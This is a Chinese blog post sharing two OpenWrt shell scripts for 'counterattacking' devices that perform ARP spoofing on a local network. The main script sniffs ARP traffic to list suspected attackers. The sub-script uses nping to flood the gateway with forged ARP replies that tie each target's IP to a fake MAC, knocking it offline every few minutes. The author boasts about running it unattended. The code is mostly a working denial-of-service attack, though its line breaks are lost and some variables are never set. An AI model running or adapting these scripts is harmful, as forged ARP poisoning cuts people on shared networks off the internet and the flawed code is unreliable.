openwrt反攻局域网arp攻击shell脚本

shell脚本，局域网arp攻击狗实在蛋疼，arptables防火墙只能防止向下欺骗，没法保证这些人攻击网关，所以我给旧路由(极路由1s) 刷了openwrt，用screen 运行了自己写的反攻脚本！
无人值守，自动攻击，对方几分钟断网一次，对于打游戏的那帮人，估计快疯了，横行嚣张局域网1年了，这会儿丫估计快尿了！不建议不懂shell的用，要安装好些软件，ip-full,arptables,nping…
我把代码放上来，懂得拿去改改用，懒得注释！

1.主脚本，用于收集arp攻击设备ip，去重，然后调用子脚本多线程攻击

#!/bin/shmac_spc() {local i=$(awk 'BEGIN{srand();printf int((2355*rand())+1)}')local f=$(cat macf6e.txt | sed -n "${i}p")local s=$(echo '0123456789ABCDEF' | awk '{srand(); for (i = 1; i <= 6; i++){printf substr($0,int((16*rand())+1),1)}}')local l=":${s:0:2}:${s:2:2}:"echo $f$l
}
rnd_num() {echo $(awk 'BEGIN{srand();printf int((4*rand())+1)}')return 0
}wd=$(ifconfig wlan0 | grep 'inet addr:' | awk -F '[: ]+' '{print $4}' | awk 'BEGIN{FS=".";OFS="."}{print $1,$2,$3}')
gw_ip="${wd}.1"
gw_mac=$(cat /proc/net/arp | grep -w "${gw_ip}" | awk '{print $4}')
ipx=$(ifconfig wlan0 | grep 'inet addr:' | awk -F '[: ]+' '{print $4}')
[ $1 ] && chs=$1 || chs=5
js=0
res=""
lst=""
chs=5
while getopts ':i' OPT; docase $OPT ini) $OPTARG + 10 &>/dev/null && chs=$OPTARG ;;esac
donewhile true; doarping -DI wlan0 ${gw_ip} &>/dev/nullsleep 1s>attc220806_file{tcpdump -qnei wlan0 arp net ${wd} and not host ${gw_ip} and dst host ${ipx} -l | awk -F '[, ]+' '{print $9}' >>attc220806_file} &>/dev/null &sleep 60skillall 'tcpdump'>attc220806_ressort -u attc220806_file | grep -v "^$" >attc220806_resif [ -s './attc220806_res' ]; thenlet js++fmacc=$(mac_spc)j=10if [ $js -gt $chs ]; thenjs=0cat /root/attc220806_alst /root/attc220806_res | sort -n | uniq -u >/root/attc220806_grdlst="/root/attc220806_grd"elselst="/root/attc220806_res"fiwhile read i; dolet j++macc="${fmacc}$j"{./ntt2.sh 6 100 "${gw_ip}" "${gw_mac}" "${i}" "${macc}"} &>/dev/null &done <${lst}waitres="table: ${lst}, $(date +%Y'-'%m'-'%d' '%H':'%M':'%S)"echo -e "${res}" | tee -a /root/libfl/attc220806logcat ${lst} >>/root/libfl/attc220806logelseecho -e "attc220806_res empty!...  $(date +%Y'-'%m'-'%d' '%H':'%M':'%S)" | tee -a /root/libfl/attc220806logfisleep $(rnd_num)m
done

2.子脚本ntt2.sh，用于调用nping 刷网关缓存，把对方的ip刷到一个不存在的mac，让对方无法上网

#!/bin/shmac_rnd() {local i=$(awk 'BEGIN{srand();printf int((2355*rand())+1)}')local f=$(cat /root/macf6e.txt | sed -n "${i}p")local s=$(echo '0123456789ABCDEF' | awk '{srand(); for (i = 1; i <= 6; i++){printf substr($0,int((16*rand())+1),1)}}')local l=":${s:0:2}:${s:2:2}:${s:4:2}"echo $f$lreturn 0

fmac=$6# echo "nping --arp --arp-type arp-reply --arp-target-mac $gtw_mac --arp-target-ip $gtw_ip --arp-sender-ip $fwip --arp-sender-mac $fmac -c 1 $gtw_ip"tmp_fifo="./$$.fifo"
mkfifo "${tmp_fifo}"
exec 6<>"${tmp_fifo}"
rm -rf "${tmp_fifo}"for i in $(seq 1 $ctt); doecho
done >&6for j in $(seq 1 $ktt); doread -u6{nping --arp --arp-type arp-reply --arp-target-mac $gtw_mac --arp-target-ip $gtw_ip --arp-sender-ip $fwip --arp-sender-mac $fmac -c 1 $gtw_ipecho >&6} &>/dev/null &
done
wait
exec 6<&-
exec 6>&-
exit 0
